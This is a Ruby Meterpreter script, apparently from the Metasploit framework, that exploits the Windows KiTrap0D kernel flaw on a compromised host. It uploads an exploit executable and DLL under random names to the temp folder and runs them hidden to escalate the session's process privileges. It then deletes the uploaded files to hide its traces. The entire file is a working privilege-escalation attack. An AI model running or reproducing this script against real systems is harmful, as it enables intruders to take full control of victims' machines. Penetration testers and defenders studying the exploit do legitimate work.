97 lines
2.1 KiB
Ruby
97 lines
2.1 KiB
Ruby
# $Id$
|
|
|
|
#
|
|
# Meterpreter script for exploiting the KiTrap0D flaw
|
|
# using Tavis Ormandy's PoC
|
|
#
|
|
|
|
session = client
|
|
|
|
#
|
|
# Options
|
|
#
|
|
opts = Rex::Parser::Arguments.new(
|
|
"-h" => [ false, "This help menu"]
|
|
)
|
|
|
|
|
|
#
|
|
# Option parsing
|
|
#
|
|
opts.parse(args) do |opt, idx, val|
|
|
case opt
|
|
when "-h"
|
|
print_line(opts.usage)
|
|
raise Rex::Script::Completed
|
|
end
|
|
end
|
|
|
|
|
|
# Exec a command and return the results
|
|
def m_exec(session, cmd)
|
|
r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
|
|
b = ""
|
|
while(d = r.channel.read)
|
|
b << d
|
|
end
|
|
r.channel.close
|
|
r.close
|
|
b
|
|
end
|
|
|
|
# Handle exceptions in the getuid() call
|
|
begin
|
|
print_status("Currently running as " + client.sys.config.getuid)
|
|
print_line("")
|
|
rescue ::Rex::Post::Meterpreter::RequestError
|
|
end
|
|
|
|
print_status("Loading the vdmallowed executable and DLL from the local system...")
|
|
based = ::File.join(Msf::Config.install_root, "data", "exploits", "kitrap0d")
|
|
exp = ::File.join(based, "vdmallowed.exe")
|
|
dll = ::File.join(based, "vdmexploit.dll")
|
|
|
|
expdata = ""
|
|
::File.open(exp, "rb") do |fd|
|
|
expdata = fd.read(fd.stat.size)
|
|
end
|
|
|
|
dlldata = ""
|
|
::File.open(dll, "rb") do |fd|
|
|
dlldata = fd.read(fd.stat.size)
|
|
end
|
|
|
|
tempdir = client.fs.file.expand_path("%TEMP%")
|
|
tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
|
print_status("Uploading vdmallowed to #{tempexe}...")
|
|
fd = client.fs.file.new(tempexe, "wb")
|
|
fd.write(expdata)
|
|
fd.close
|
|
|
|
tempdir = client.fs.file.expand_path("%TEMP%")
|
|
tempdll = tempdir + "\\" + "vdmexploit.dll"
|
|
print_status("Uploading vdmallowed to #{tempdll}...")
|
|
fd = client.fs.file.new(tempdll, "wb")
|
|
fd.write(dlldata)
|
|
fd.close
|
|
|
|
server = client.sys.process.open
|
|
|
|
print_status("Escalating our process (PID:#{server.pid})...")
|
|
print_line("")
|
|
|
|
tempdrive = tempdir.split(':')[0]
|
|
data = m_exec(client, "cmd.exe /c #{tempdrive}: & cd \"#{tempdir}\" & #{tempexe} #{server.pid}")
|
|
print_line(data)
|
|
|
|
print_status("Deleting files...")
|
|
client.fs.file.rm(tempexe)
|
|
client.fs.file.rm(tempdll)
|
|
|
|
# Handle exceptions in the getuid() call
|
|
begin
|
|
print_status("Now running as " + client.sys.config.getuid)
|
|
rescue ::Rex::Post::Meterpreter::RequestError
|
|
end
|
|
|